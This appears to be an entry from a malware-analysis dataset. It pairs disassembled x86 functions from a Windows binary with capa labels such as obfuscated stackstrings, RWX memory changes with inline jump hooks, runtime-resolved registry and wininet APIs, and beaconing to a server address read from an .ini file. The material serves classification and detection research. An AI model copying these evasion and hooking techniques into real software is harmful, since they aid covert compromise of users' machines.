joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100011d3
Capabilities:
Contain obfuscated stackstrings
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x280
mov eax, 0x72727543
push ebx
push esi
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x1c], eax
push edi
lea eax, [ebp - 0x17c]
xor ebx, ebx
mov edx, 0x53746e65
mov ecx, 0x65767265
push 0x100693a0
push eax
mov dword [ebp - 0x78], 0x72657375
mov dword [ebp - 0x74], 0x61746164
mov dword [ebp - 0x70], 0x7275635c
mov dword [ebp - 0x6c], 0x746e6572
mov dword [ebp - 0x68], 0x76726573
mov dword [ebp - 0x64], 0x692e7265
mov dword [ebp - 0x60], 0x696e
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0xc], 0x76726553
mov dword [ebp - 8], 0x7265
mov dword [ebp - 4], ebx
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], 0x64644172
mov dword [ebp - 0x48], 0x73736572
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], 0x72
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x18], 0x47746e65
mov dword [ebp - 0x14], 0x70756f72
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x2c], 0x62696863
mov dword [ebp - 0x28], 0x6f632e69
mov dword [ebp - 0x24], 0x6d
mov dword [ebp - 0x20], ebx
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x17c]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
mov byte [eax + 1], bl
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x17c]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x18
lea eax, [ebp - 0x17c]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x10069264
push eax
lea eax, [ebp - 0x280]
push 0x104
push eax
lea eax, [ebp - 0x58]
push edi
push eax
lea eax, [ebp - 0xc]
push eax
call esi
lea eax, [ebp - 0x17c]
push eax
push 0x28
push 0x1000509c
lea eax, [ebp - 0x40]
push edi
push eax
lea eax, [ebp - 0xc]
push eax
call esi
lea eax, [ebp - 0x17c]
push eax
push 0x28
push 0x1000506c
push edi
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
call esi
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x280]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
neg eax
pop ecx
pop edi
sbb eax, eax
pop esi
neg eax
pop ebx
leave
ret
Function at 0x1000184e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
movzx eax, byte [ebp + 0x10]
push esi
push eax
movzx eax, byte [ebp + 0xc]
push eax
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
movzx eax, byte [ebp + 8]
and dword [ebp - 0xc], 0
and dword [ebp - 0x20], 0
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0x1c], 0x32302e25
mov dword [ebp - 0x18], 0x302e2564
mov dword [ebp - 0x14], 0x2e256432
mov dword [ebp - 0x10], 0x643230
mov dword [ebp - 0x30], 0x613f7325
mov dword [ebp - 0x2c], 0x7526353d
mov dword [ebp - 0x28], 0x2673253d
mov dword [ebp - 0x24], 0x73253d76
call esi
lea eax, [ebp - 8]
push eax
push 0x10069208
call sub.MSVCRT.dll_strcpy
add esp, 0x1c
cmp dword [0x10069258], 0
je 0x1000193e
push 0x10005010
call fcn.10003197
push eax
lea eax, [ebp - 0x230]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x230]
add esp, 0xc
test eax, eax
je 0x1000193e
lea eax, [ebp - 0x230]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x1000193e
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x230]
push 0x100691dc
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x230]
push eax
call esi
lea eax, [ebp - 0x230]
push eax
call fcn.100029ae
add esp, 0x18
test eax, eax
je 0x1000193e
push eax
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
pop esi
leave
ret 0xc

Function at 0x100019a8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push 1
call fcn.1000107d
xor esi, esi
pop ecx
cmp eax, esi
je 0x100019e8
lea ecx, [ebp - 0xc]
mov dword [ebp - 0xc], 0x32423141
push ecx
push eax
mov dword [ebp - 8], 0x3343
mov dword [ebp - 4], esi
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x100019e8
push 0x7530
call fcn.10002726
cmp dword [0x100050c4], esi
jne 0x10001a04
push 0x100050c4
push esi
push esi
push 0x1000100f
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
leave
ret

Function at 0x10001bba
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push esi
push edi
nop
nop
nop
mov edi, edi
nop
nop
nop
mov edi, edi
nop
nop
and dword [ebp - 4], 0
lea eax, [ebp - 0x2c]
mov esi, 0x10069268
push eax
push esi
mov dword [ebp - 0x2c], 0x4436377b
mov dword [ebp - 0x28], 0x35333434
mov dword [ebp - 0x24], 0x34422d36
mov dword [ebp - 0x20], 0x342d3439
mov dword [ebp - 0x1c], 0x2d613334
mov dword [ebp - 0x18], 0x43444542
mov dword [ebp - 0x14], 0x3641412d
mov dword [ebp - 0x10], 0x34454438
mov dword [ebp - 0xc], 0x45353532
mov dword [ebp - 8], 0x7d36
call sub.MSVCRT.dll_strcpy
pop ecx
mov eax, esi
pop ecx
pop edi
pop esi
leave
ret
Function at 0x10002649
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100040e0
push 0x10003410
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x40
mov edi, dword [ebp + 0x10]
push edi
mov esi, dword [ebp + 8]
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call ebx
lea eax, [edi + 5]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x1c], eax
push edi
push esi
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0x1c]
lea eax, [ecx + edi]
mov byte [eax], 0xe9
mov edx, esi
sub edx, ecx
sub edx, 5
mov dword [eax + 1], edx
mov byte [esi], 0xe9
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [edi - 5]
push eax
push 0x90
lea eax, [esi + 5]
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x20]
push edi
push esi
call ebx
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
jmp 0x100026fe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10002726
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
nop
nop
nop
mov edi, edi
nop
nop
nop
mov edi, edi
nop
nop
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x1000279c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
nop
nop
nop
mov edi, edi
nop
nop
nop
mov edi, edi
nop
nop
mov edx, dword [ebp + 8]
xor eax, eax
test edx, edx
je 0x100027d8
nop
nop
nop
mov edi, edi
nop
nop
nop
mov edi, edi
nop
nop
cmp word [edx], 0x5a4d
jne 0x100027d8
mov ecx, dword [edx + 0x3c]
add ecx, edx
cmp dword [ecx], 0x4550
jne 0x100027d8
mov eax, dword [ecx + 0x50]
pop edi
pop ebp
ret
Function at 0x100029ae
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x274
push ebx
push esi
push edi
nop
nop
nop
mov edi, edi
nop
nop
nop
mov edi, edi
nop
nop
xor ebx, ebx
cmp dword [0x10069380], ebx
je 0x100029ec
cmp dword [0x10069384], ebx
je 0x100029ec
cmp dword [0x10069388], ebx
je 0x100029ec
cmp dword [0x1006938c], ebx
jne 0x10002ab0
mov eax, 0x74656e72
mov ecx, 0x65746e49
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x20]
mov edx, 0x6e65704f
push eax
mov dword [ebp - 0x20], 0x696e6977
mov dword [ebp - 0x1c], 0x2e74656e
mov dword [ebp - 0x18], 0x6c6c64
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x6c], 0x736f6c43
mov dword [ebp - 0x68], 0x6e614865
mov dword [ebp - 0x64], 0x656c64
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], 0x41
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x50], 0x416c7255
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x2c], 0x64616552
mov dword [ebp - 0x28], 0x656c6946
mov dword [ebp - 0x24], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 0x74]
push eax
push edi
call esi
mov dword [0x10069380], eax
lea eax, [ebp - 0x48]
push eax
push edi
call esi
mov dword [0x10069384], eax
lea eax, [ebp - 0x5c]
push eax
push edi
call esi
mov dword [0x10069388], eax
lea eax, [ebp - 0x34]
push eax
push edi
call esi
mov dword [0x1006938c], eax
push ebx
push ebx
push ebx
mov esi, 0x200
push ebx
push ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], ebx
xor edi, edi
call dword [0x10069384]
cmp eax, ebx
mov dword [ebp - 0x10], eax
je 0x10002b8d
push ebx
push 0x84000000
push ebx
push ebx
push dword [ebp + 8]
push eax
call dword [0x10069388]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x10002b84
push esi
call dword [sym.imp.MSVCRT.dll_malloc]
mov dword [ebp + 8], eax
pop ecx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x274]
push esi
push eax
push dword [ebp - 0xc]
call dword [0x1006938c]
test eax, eax
je 0x10002b72
mov eax, dword [ebp - 4]
cmp eax, ebx
jbe 0x10002b6e
add eax, edi
cmp eax, dword [ebp - 8]
jbe 0x10002b3a
add dword [ebp - 8], esi
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_realloc]
pop ecx
cmp eax, ebx
pop ecx
je 0x10002b6e
mov dword [ebp + 8], eax
push dword [ebp - 4]
lea eax, [ebp - 0x274]
push eax
mov eax, dword [ebp + 8]
add eax, edi
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 4]
add edi, dword [ebp - 4]
push eax
lea eax, [ebp - 0x274]
push esi
push eax
push dword [ebp - 0xc]
call dword [0x1006938c]
test eax, eax
jne 0x10002b14
cmp edi, ebx
ja 0x10002b7e
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
jmp 0x10002b84
mov eax, dword [ebp + 8]
mov byte [eax + edi], bl
push dword [ebp - 0xc]
call dword [0x10069380]
push dword [ebp - 0x10]
call dword [0x10069380]
xor eax, eax
cmp eax, edi
pop edi
sbb eax, eax
pop esi
and eax, dword [ebp + 8]
pop ebx
leave
ret
Function at 0x100032c6
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
xor eax, eax
mov ecx, 0x43676552
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x6c], eax
push esi
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x54], ecx
lea eax, [ebp - 0x10]
push edi
mov edx, 0x53676552
mov ecx, 0x61567465
push eax
mov dword [ebp - 0x10], 0x41564441
mov dword [ebp - 0xc], 0x32334950
mov dword [ebp - 8], 0x6c6c642e
mov dword [ebp - 0x1c], 0x65736f6c
mov dword [ebp - 0x18], 0x79654b
mov dword [ebp - 0x50], 0x74616572
mov dword [ebp - 0x4c], 0x79654b65
mov dword [ebp - 0x48], 0x41
mov dword [ebp - 0x30], 0x4f676552
mov dword [ebp - 0x2c], 0x4b6e6570
mov dword [ebp - 0x28], 0x417965
mov dword [ebp - 0x68], 0x51676552
mov dword [ebp - 0x64], 0x79726575
mov dword [ebp - 0x60], 0x756c6156
mov dword [ebp - 0x5c], 0x41784565
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], 0x4165756c
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x74], 0x4565756c
mov dword [ebp - 0x70], 0x4178
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 0x20]
push eax
push edi
call esi
mov dword [0x100696b8], eax
lea eax, [ebp - 0x54]
push eax
push edi
call esi
mov dword [0x100696b0], eax
lea eax, [ebp - 0x30]
push eax
push edi
call esi
mov dword [0x100696a8], eax
lea eax, [ebp - 0x68]
push eax
push edi
call esi
mov dword [0x100696ac], eax
lea eax, [ebp - 0x40]
push eax
push edi
call esi
mov dword [0x100696a4], eax
lea eax, [ebp - 0x7c]
push eax
push edi
call esi
pop edi
mov dword [0x100696b4], eax
pop esi
leave
ret
Function at 0x403640
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [0x447020]
xor eax, esp
mov dword [esp + 8], eax
push ebx
push esi
push edi
push 0
push 0
push 0
push 0
mov edi, ecx
call fcn.004035c0
add esp, 0x10
test eax, eax
jne 0x403681
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 8]
xor ecx, esp
call fcn.0041ae8c
mov esp, ebp
pop ebp
ret
jns 0x4036a1
call fcn.0041f564
cmp dword [eax], 9
jne 0x4036a1
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 8]
xor ecx, esp
call fcn.0041ae8c
mov esp, ebp
pop ebp
ret
mov ebx, dword [sym.imp.WS2_32.dll_recv]
lea eax, [esp + 0x13]
nop dword [eax + eax]
push 2
push 1
push eax
push edi
call ebx
mov esi, eax
test esi, esi
jns 0x4036ce
call fcn.0041f564
cmp dword [eax], 4
lea eax, [esp + 0x13]
je 0x4036b0
test esi, esi
mov ecx, dword [esp + 0x14]
setg al
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0041ae8c
mov esp, ebp
pop ebp
ret
Function at 0x403a60
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x447020]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, ecx
mov dword [ebp - 0x40c], eax
push edi
mov edi, edx
movzx eax, word [esi]
cmp eax, 2
je 0x403a93
cmp eax, 0x17
jne 0x403b0f
movzx eax, word [esi + 2]
push eax
call dword [sym.imp.WS2_32.dll_ntohs]
movzx eax, ax
push 0x401
mov dword [ebx], eax
lea eax, [ebp - 0x408]
push 0
push eax
call fcn.0041cc50
add esp, 0xc
lea eax, [ebp - 0x408]
push 2
push 0
push 0
push 0x401
push eax
push edi
push esi
call dword [sym.imp.WS2_32.dll_getnameinfo]
test eax, eax
jne 0x403b0f
lea edx, [ebp - 0x408]
lea esi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x403ae0
mov ecx, dword [ebp - 0x40c]
lea eax, [ebp - 0x408]
sub edx, esi
push edx
push eax
call fcn.0040bb00
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041ae8c
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041ae8c
mov esp, ebp
pop ebp
ret

Function at 0x404aa0
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x11c
mov eax, dword [0x447020]
xor eax, esp
mov dword [esp + 0x118], eax
mov eax, dword [ecx + 0x24]
mov edx, dword [ecx + 0x18]
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_select]
push esi
mov esi, dword [ecx + 0x20]
mov dword [esp + 0x10], eax
mov eax, dword [ecx + 0x1c]
push edi
mov edi, dword [ecx + 4]
mov dword [esp + 0x14], eax
mov dword [esp + 0xc], ecx
mov dword [esp + 0x1c], edi
mov dword [esp + 0x18], 1
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], esi
lea eax, [esp + 0x10]
push eax
push 0
lea eax, [esp + 0x20]
push eax
push 0
lea eax, [edi + 1]
push eax
call ebx
mov esi, eax
test esi, esi
jns 0x404b18
call fcn.0041f564
cmp dword [eax], 4
je 0x404af2
test esi, esi
jle 0x404b41
mov ecx, dword [esp + 0xc]
mov ecx, dword [ecx + 4]
call fcn.00403640
test al, al
je 0x404b41
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x118]
xor ecx, esp
call fcn.0041ae8c
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x124]
xor al, al
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0041ae8c
mov esp, ebp
pop ebp
ret
Function at 0x404b60
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, dword [ebp + 8]
mov eax, closesocket
push esi
push edi
mov edi, dword [ebp + 0xc]
mov esi, ecx
cmp edi, eax
mov dword [esp + 0x1c], esi
mov dword [esp + 0x14], ebx
cmova edi, eax
mov edx, dword [esi + 0x34]
mov eax, dword [esi + 0x38]
mov dword [ebp + 0xc], edi
cmp edx, eax
jae 0x404bd6
mov ecx, dword [esi + 0x28]
sub eax, edx
add ecx, edx
mov dword [esp + 0x10], eax
cmp edi, eax
ja 0x404bbb
push edi
push ecx
push ebx
call fcn.0041c6d0
add esp, 0xc
mov eax, edi
add dword [esi + 0x34], edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push eax
push ecx
push ebx
call fcn.0041c6d0
mov eax, dword [esp + 0x1c]
add esp, 0xc
add dword [esi + 0x34], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push dword [esi + 0x14]
mov ecx, dword [esi + 4]
push dword [esi + 0x10]
push dword [esi + 0xc]
push dword [esi + 8]
call fcn.004035c0
add esp, 0x10
test eax, eax
jg 0x404bfd
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [esi + 4]
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov dword [esp + 0x10], eax
cmp edi, 0x1000
jae 0x404c90
mov eax, dword [esi + 0x28]
mov esi, eax
mov edi, dword [esp + 0x10]
push 0
push 0x1000
push esi
push edi
call dword [sym.imp.WS2_32.dll_recv]
mov ebx, eax
test ebx, ebx
jns 0x404c44
call fcn.0041f564
cmp dword [eax], 4
je 0x404c23
test ebx, ebx
mov esi, dword [esp + 0x1c]
mov edi, dword [ebp + 0xc]
jle 0x404c62
mov eax, dword [esi + 0x28]
cmp ebx, edi
jg 0x404c6d
push ebx
push eax
push dword [esp + 0x1c]
call fcn.0041c6d0
add esp, 0xc
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push edi
push eax
push dword [esp + 0x1c]
call fcn.0041c6d0
add esp, 0xc
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], ebx
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push 0
push edi
push ebx
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
test esi, esi
jns 0x404caf
call fcn.0041f564
cmp dword [eax], 4
mov eax, dword [esp + 0x10]
je 0x404c90
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x404cc0
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x11c
mov eax, dword [0x447020]
xor eax, esp
mov dword [esp + 0x118], eax
push ebx
mov ebx, ecx
mov dword [esp + 0x10], 1
push esi
push edi
mov dword [esp + 0xc], ebx
mov eax, dword [ebx + 0x24]
mov esi, dword [ebx + 0x20]
mov edx, dword [ebx + 0x18]
mov edi, dword [ebx + 4]
mov dword [esp + 0x14], eax
mov eax, dword [ebx + 0x1c]
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], edi
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], esi
nop
lea eax, [esp + 0x10]
push eax
push 0
lea eax, [esp + 0x20]
push eax
push 0
lea eax, [edi + 1]
push eax
call dword [sym.imp.WS2_32.dll_select]
mov esi, eax
test esi, esi
jns 0x404d3a
call fcn.0041f564
cmp dword [eax], 4
je 0x404d10
test esi, esi
jle 0x404d9b
mov ecx, dword [ebx + 4]
call fcn.00403640
test al, al
je 0x404d9b
mov edi, dword [ebp + 0xc]
mov eax, closesocket
mov ebx, dword [ebp + 8]
cmp edi, eax
cmova edi, eax
mov eax, dword [esp + 0xc]
mov eax, dword [eax + 4]
mov dword [esp + 0xc], eax
push 0
push edi
push ebx
push eax
call dword [sym.imp.WS2_32.dll_send]
mov esi, eax
test esi, esi
jns 0x404d82
call fcn.0041f564
cmp dword [eax], 4
mov eax, dword [esp + 0xc]
je 0x404d63
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x118]
xor ecx, esp
call fcn.0041ae8c
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [esp + 0x124]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0041ae8c
mov esp, ebp
pop ebp
ret 8

Function at 0x404e30
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
mov eax, dword [0x447020]
xor eax, esp
mov dword [esp + 0x8c], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [esp + 8]
push edi
mov edi, dword [ebp + 0xc]
push eax
lea eax, [esp + 0x14]
mov dword [esp + 0x10], 0x80
push eax
push dword [ecx + 4]
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x404e83
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x10]
push edi
push esi
call fcn.00403a60
add esp, 8
mov ecx, dword [esp + 0x94]
pop edi
pop esi
xor ecx, esp
call fcn.0041ae8c
mov esp, ebp
pop ebp
ret 8
Function at 0x405030
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43461e
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x447020]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov dword [edi], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov dword [ebp - 4], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0xf
mov byte [edi + 0x18], 0
mov byte [ebp - 4], 1
lea esi, [edi + 0x30]
mov dword [ebp - 0x14], esi
push 0x40
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.0041aecb
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
mov dword [edi + 0x38], 0
mov dword [edi + 0x48], 0
mov dword [edi + 0x4c], 0xf
mov byte [edi + 0x38], 0
mov dword [edi + 0x50], 0
mov dword [edi + 0x60], 0
mov dword [edi + 0x64], 0xf
mov byte [edi + 0x50], 0
mov dword [edi + 0x68], 0xffffffff
mov dword [edi + 0x6c], 0
mov dword [edi + 0x7c], 0
mov dword [edi + 0x80], 0xf
mov byte [edi + 0x6c], 0
mov dword [edi + 0x84], 0xffffffff
mov dword [edi + 0x88], 0
mov dword [edi + 0x98], 0
mov dword [edi + 0x9c], 0xf
mov byte [edi + 0x88], 0
mov dword [edi + 0xa0], 0
mov dword [edi + 0xb0], 0
mov dword [edi + 0xb4], 0xf
mov byte [edi + 0xa0], 0
mov byte [ebp - 4], 7
lea esi, [edi + 0xb8]
mov dword [ebp - 0x14], esi
push 0x40
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.0041aecb
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
mov byte [ebp - 4], 8
lea esi, [edi + 0xc0]
mov dword [ebp - 0x14], esi
push 0x88
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.0041aecb
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
mov dword [edi + 0xc8], 0
mov dword [edi + 0xcc], 0
mov dword [edi + 0xd0], 0
mov dword [edi + 0xd4], 0
mov byte [edi + 0xd8], 0
mov dword [edi + 0xdc], 0
mov dword [edi + 0xe0], 0
mov dword [edi + 0xe4], 0
mov dword [edi + 0xe8], 0
mov dword [edi + 0xec], 0
mov byte [edi + 0xf0], 0
mov dword [edi + 0xf4], 0
mov dword [edi + 0xf8], 0
mov byte [edi + 0xfc], 0
mov dword [edi + 0x100], 0
mov dword [edi + 0x104], 0
mov byte [edi + 0x108], 0
mov byte [ebp - 4], 0xb
lea esi, [edi + 0x10c]
mov dword [ebp - 0x14], esi
mov dword [esi], 0
push 0x38
mov dword [esi + 4], 0
mov dword [esi + 8], 0
call fcn.0041aecb
add esp, 0x10
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [esi + 4], eax
lea ecx, [esi + 0xc]
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
mov byte [ebp - 4], 0xd
push dword [esi + 4]
mov dword [esi + 0x18], 7
push 0x10
mov dword [esi + 0x1c], 8
mov dword [esi], 0x3f800000
call fcn.0040c380
mov dword [edi + 0x154], 0
mov eax, edi
mov dword [edi + 0x17c], 0
mov dword [edi + 0x1a4], 0
mov dword [edi + 0x1a8], 0x14
mov dword [edi + 0x1ac], 0
mov dword [edi + 0x1d4], 0
mov byte [edi + 0x1d8], 0
mov dword [edi + 0x1dc], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x405340
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x434658
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x447020]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov dword [edi], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov dword [ebp - 4], 0
mov dword [edi + 0x18], 0xffffffff
mov dword [edi + 0x1c], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0xf
mov byte [edi + 0x1c], 0
lea esi, [edi + 0x34]
mov byte [ebp - 4], 1
push 0x40
mov dword [ebp - 0x14], esi
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.0041aecb
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
mov eax, edi
mov dword [edi + 0x3c], 0
mov dword [edi + 0x4c], 0
mov dword [edi + 0x50], 0xf
mov byte [edi + 0x3c], 0
mov dword [edi + 0x54], 0
mov dword [edi + 0x64], 0
mov dword [edi + 0x68], 0xf
mov byte [edi + 0x54], 0
mov dword [edi + 0x6c], 0
mov dword [edi + 0x94], 0
mov dword [edi + 0xbc], 0
mov word [edi + 0xc0], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret